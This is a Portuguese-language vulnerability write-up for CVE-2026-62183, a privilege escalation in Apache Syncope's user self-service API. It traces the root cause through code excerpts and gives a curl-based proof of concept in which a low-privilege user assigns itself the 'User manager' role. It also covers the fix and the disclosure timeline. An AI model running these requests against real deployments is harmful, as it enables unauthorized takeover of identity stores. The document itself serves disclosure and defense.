
Apache Syncope: escalonamento de privilégios por autoatendimento do usuário
Gerenciamento inadequado de privilégios (CWE-269) no Apache Syncope. Um usuário autenticado e de baixo privilégio pode atribuir a si mesmo papéis arbitrários (e associações a grupos, recursos externos e um novo realm) por meio da API de self-service de usuários — operações que exigem autorizações administrativas em qualquer outro caminho de código — e, dessa forma, tornar-se administrador do armazenamento de identidades.
Este repositório é a referência técnica da vulnerabilidade: causa raiz, uma prova de conceito confirmada em runtime e notas de reprodução. Um relato narrativo de como ela foi encontrada está publicado em separado (veja Relato).
| CVE | CVE-2026-62183 |
| Fornecedor / produto | Apache Software Foundation — Apache Syncope |
| Pacote afetado | org.apache.syncope.core:syncope-core-workflow-java |
| Classe | CWE-269 Gerenciamento inadequado de privilégios (mecanismo: CWE-862 Autorização Ausente) |
| Gravidade | Importante (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Afetadas | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Corrigido em | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x está em fim de vida, sem correção |
| Confirmado em | 3.0.16 (distribuição standalone, JDK 17), domínio Master |
O endpoint de atualização de self-service de usuários do Apache Syncope, PATCH /users/self/{key}, exige
apenas isAuthenticated(). A camada de lógica compartilhada omite a verificação de autorização para
operações "self", enquanto o binder de dados ainda aplica campos de requisição privilegiados
(roles, memberships, resources, auxClasses, realm). O resultado é uma
escalada direta de privilégios: um usuário de baixo privilégio atribui a si mesmo um papel privilegiado
e imediatamente obtém suas autorizações — inclusive, com um papel suficientemente poderoso, a administração
completa de todos os usuários. Quando o auto-registro está habilitado, a mesma falha se aplica a
doCreate, portanto um atacante não autenticado pode registrar uma conta já privilegiada.
A vulnerabilidade se aplica quando um dos seguintes adaptadores de workflow de usuário está configurado (é a isto que o comunicado do fornecedor a delimita):
Em produção, o self-service normalmente é conduzido por meio da interface Enduser, que não
expõe a atribuição de papéis; alcançar este cenário exige que a API REST Core possa ser chamada pelo
usuário de baixo privilégio. A PoC em runtime abaixo usa a Distribuição Standalone, que a
Apache documenta como apenas para avaliação e que inclui dados iniciais (o usuário bellini, os
papéis internos User manager / User reviewer) — esses dados iniciais não estão presentes em uma
implantação genérica. Essas são limitações reais de explorabilidade no mundo real, não da
correção da falha.
Fluxo de requisição para PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. O endpoint autoriza apenas "alguém está logado?" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Nenhuma autorização (sem USER_UPDATE, sem escopo de papel/realm) é exigida.
2. A verificação de autorização é ignorada para operações self — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. O binder aplica campos privilegiados independentemente — UserDataBinderImpl.update(...)
aplica ADD/DELETE de papéis, memberships(...) (grupos) e fill(...) (resources / realm)
diretamente da requisição, sem verificação de privilégio do chamador — essa verificação deveria estar
na camada de Lógica que o passo 2 ignora. O caminho administrativo (UserLogic.update,
@PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) executa
securityChecks; o caminho self não executa.
O papel escalado entra em vigor na autenticação:
AuthDataAccessor.getUserAuthorities(user) percorre userDAO.findAllRoles(user) e une
as autorizações de cada papel; portanto, o papel auto-atribuído fica ativo na próxima
requisição/login do usuário. A mesma omissão if (!self) está presente em doCreate, estendendo a falha ao
auto-registro.
Em resumo: duas camadas presumiram, cada uma, que a outra aplicava a verificação de privilégio. O endpoint
delegava a autorização à camada de Lógica; a camada de Lógica a ignorava para self; o
binder confiava que a camada de Lógica havia feito a devida filtragem dos campos.
Um usuário autenticado comum, sem papéis, atribui a si mesmo o papel privilegiado interno
User manager (que concede USER_READ sobre /) e então lê uma conta arbitrária. Nenhuma
ação administrativa, nenhuma configuração especial. Script completo: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
Observado: [1] 403 → [2] 200 (papéis agora ["User manager"]) → [3] 200. A
atribuição persiste (confirmada pela visão administrativa do usuário). O mesmo formato de requisição
também auto-atribui memberships (grupos), resources (disparando provisionamento para sistemas
externos) e um novo realm.
A PoC usa deliberadamente apenas chamadas legítimas e documentadas da API para demonstrar a lacuna de autorização. É uma prova mínima, não um exploit armado — veja Uso responsável.
Consulte BUILD.md para uma configuração de runtime sem Docker e sem Maven (Tomcat standalone +
Temurin JDK 17) e verificações de prontidão, depois:
B=http://localhost:9080/syncope/rest ./poc.sh
Qualquer usuário autenticado — incluindo a conta de self-service de privilégio mais baixo — pode conceder
a si mesmo as autorizações de qualquer papel definido. Com um papel que carregue autorizações amplas de USER_* /
administrativas, isso é a tomada do armazenamento de identidades: ler/modificar/excluir todos os usuários,
além do provisionamento de contas em sistemas externos conectados via resources / memberships.
Quando o auto-registro está habilitado, um atacante não autenticado pode registrar-se diretamente em
um estado privilegiado (PR:N, CVSS 9.8). As autorizações concretas obtidas dependem dos
papéis efetivamente definidos na implantação alvo.
Corrigido nas versões 4.0.7 / 4.1.2 em
SYNCOPE-1983
("Exigindo aprovação administrativa para alterações self além de atributos"). UserCR / UserUR ganharam
um predicado requiresApproval() (verdadeiro quando uma requisição toca em papéis, associações, grupos,
recursos, relacionamentos, contas vinculadas ou gerentes de usuário/grupo), e os adaptadores
de workflow roteiam tais requisições self por aprovação administrativa em vez de aplicá-las diretamente.
O 3.0.x está em fim de vida e não recebe a correção — usuários do 3.0.x afetados devem atualizar para uma
versão com suporte.
| Data (2026) | Evento |
|---|---|
| 28 de jun. | Relatado em particular para [email protected] com análise de causa raiz e PoC em runtime |
| 13 de jul. | PMC do Apache Syncope confirmou; CVE-2026-62183 reservado; gravidade avaliada como importante |
| 20 de jul. | Correções lançadas (4.0.7 / 4.1.2); comunicado do fornecedor e registro CVE publicados |
Descobridores creditados, conforme o registro CVE: Nic Jones (@NicPWNs) e elin kai. Este repositório documenta a análise de código-fonte e a PoC confirmada em runtime contribuídas por Nic Jones.
Um relato narrativo da pesquisa — metodologia, a auditoria no projeto Apache que a trouxe à tona e como ela foi confirmada em runtime — está no meu blog: Do Self-Service ao Admin: Uma Escalação de Privilégios no Apache Syncope.
Este material é publicado para fins defensivos e educacionais após divulgação coordenada e o lançamento das versões corrigidas. A PoC usa apenas chamadas legítimas da API para demonstrar a falha de autorização; não é uma ferramenta de exploração em massa. Não a utilize contra sistemas nos quais você não está autorizado a testar. Se você executa o Apache Syncope, atualize para 4.0.7 / 4.1.2 (ou saia do 3.0.x).